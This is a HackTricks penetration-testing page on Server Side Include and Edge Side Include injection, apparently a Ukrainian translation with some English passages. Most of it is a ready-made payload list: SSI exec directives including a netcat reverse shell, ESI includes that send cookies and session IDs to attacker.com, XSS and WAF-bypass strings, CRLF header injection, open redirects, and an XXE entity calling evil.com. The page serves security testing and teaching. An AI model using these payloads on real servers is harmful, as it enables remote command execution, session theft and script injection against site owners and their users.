Server Side Inclusion/Edge Side Inclusion Injection

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Основна інформація про включення на стороні сервера

(Вступ взято з документації Apache)

SSI (Server Side Includes) - це директиви, які розміщуються на сторінках HTML і оцінюються на сервері під час обслуговування сторінок. Вони дозволяють вам додавати динамічно генерований вміст до існуючої сторінки HTML, не обслуговуючи всю сторінку через програму CGI або іншу динамічну технологію. Наприклад, ви можете розмістити директиву на існуючій сторінці HTML, такій як:

<!--#echo var="DATE_LOCAL" -->

І, коли сторінка обслуговується, цей фрагмент буде оцінений і замінений на своє значення:

Tuesday, 15-Jan-2013 19:28:54 EST

Рішення про те, коли використовувати SSI, а коли мати вашу сторінку повністю згенеровану якоюсь програмою, зазвичай є питанням того, наскільки сторінка є статичною, і наскільки потрібно перераховувати кожного разу, коли сторінка обслуговується. SSI - це чудовий спосіб додавати невеликі частини інформації, такі як поточний час - показано вище. Але якщо більшість вашої сторінки генерується в момент обслуговування, вам потрібно шукати інше рішення.

Ви можете вважати наявність SSI, якщо веб-застосунок використовує файли з розширеннями ** .shtml, .shtm або .stm**, але це не єдиний випадок.

Типовий вираз SSI має наступний формат:

<!--#directive param="value" -->

Перевірка

// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->

// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->

// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->

Включення на стороні краю

Є проблема кешування інформації або динамічних додатків, оскільки частина вмісту може змінюватися до наступного разу, коли вміст буде отриманий. Саме для цього використовується ESI, щоб вказати за допомогою тегів ESI динамічний вміст, який потрібно згенерувати перед відправленням версії кешу. якщо зловмисник може впровадити тег ESI всередині кешованого вмісту, то він може впровадити довільний вміст в документ перед його відправленням користувачам.

Виявлення ESI

Наступний заголовок відповіді від сервера означає, що сервер використовує ESI:

Surrogate-Control: content="ESI/1.0"

Якщо ви не можете знайти цей заголовок, сервер може все одно використовувати ESI. Також може бути використаний сліпий підхід до експлуатації, оскільки запит повинен надійти на сервер зловмисника:

// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable

// Blind detection
<esi:include src=http://attacker.com>

// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>

// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>

Експлуатація ESI

GoSecure створив таблицю для розуміння можливих атак, які ми можемо спробувати проти різного програмного забезпечення, здатного до ESI, в залежності від підтримуваної функціональності:

  • Includes: Підтримує директиву <esi:includes>

  • Vars: Підтримує директиву <esi:vars>. Корисно для обхіду XSS-фільтрів

  • Cookie: Куки документа доступні для ESI-двигуна

  • Upstream Headers Required: Додатки-замінники не оброблять ESI-вирази, якщо верхній додаток не надасть заголовки

  • Host Allowlist: У цьому випадку ESI-включення можливі лише з дозволених серверних хостів, що робить SSRF, наприклад, можлим лише проти цих хостів

Програмне забезпечення

Includes

Vars

Cookies

Upstream Headers Required

Host Whitelist

Squid3

Так

Так

Так

Так

Ні

Varnish Cache

Так

Ні

Ні

Так

Так

Fastly

Так

Ні

Ні

Ні

Так

Akamai ESI Test Server (ETS)

Так

Так

Так

Ні

Ні

NodeJS esi

Так

Так

Так

Ні

Ні

NodeJS nodesi

Так

Ні

Ні

Ні

Опціонально

XSS

Наступна директива ESI завантажить довільний файл всередині відповіді сервера

<esi:include src=http://attacker.com/xss.html>

Обхід захисту від XSS клієнта

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>

Вкрасти куки

  • Віддалено вкрасти куки

<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
  • Вкрасти cookie HTTP_ONLY за допомогою XSS, відображаючи його у відповіді:

# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->

# It's possible to put more complex JS code to steal cookies or perform actions

Приватний Локальний Файл

Не плутайте це з "Включенням Локального Файлу":

<esi:include src="secret.txt">

CRLF

CRLF (Carriage Return Line Feed) is a special character sequence used to represent a line break in various environments. In web security, CRLF injection refers to the technique of injecting CRLF sequences into an input field to manipulate the application's behavior. This can lead to various attacks such as HTTP response splitting, server-side request forgery, and more. It is important for developers to sanitize user input to prevent CRLF injection vulnerabilities.

<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

Відкритий редірект

Наступний код додасть заголовок Location до відповіді

<!--esi $add_header('Location','http://attacker.com') -->

Додати заголовок

  • Додати заголовок у примусовий запит

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
  • Додайте заголовок у відповідь (корисно для обхіду "Content-Type: text/json" у відповіді з XSS)

<!--esi/$add_header('Content-Type','text/html')/-->

<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->

# Check the number of url_decode to know how many times you can URL encode the value

CRLF у додаванні заголовка (CVE-2019-2438)

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>

Відлагодження Akamai

Це надішле інформацію для відлагодження, включену у відповідь:

<esi:debug/>

ESI + XSLT = XXE

Призначивши значення xslt параметру dca, можливо включити ESI на основі мови трансформації екстенсивних таблиць стилів (XSLT). Це викликає HTTP-замінник для отримання файлів XML та XSLT, останній фільтрує перший. Такі файли XML піддаються атакам XML External Entity (XXE), що дозволяє зловмисникам виконувати атаки SSRF. Однак використання цього підходу обмежено, оскільки ESI вже служить вектором SSRF. Через відсутність підтримки в базовій бібліотеці Xalan, зовнішні DTD не обробляються, що запобігає видобутку локальних файлів.

<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

XSLT файл:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>

Перевірте сторінку XSLT:

pageXSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Посилання

Список виявлення перебору

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated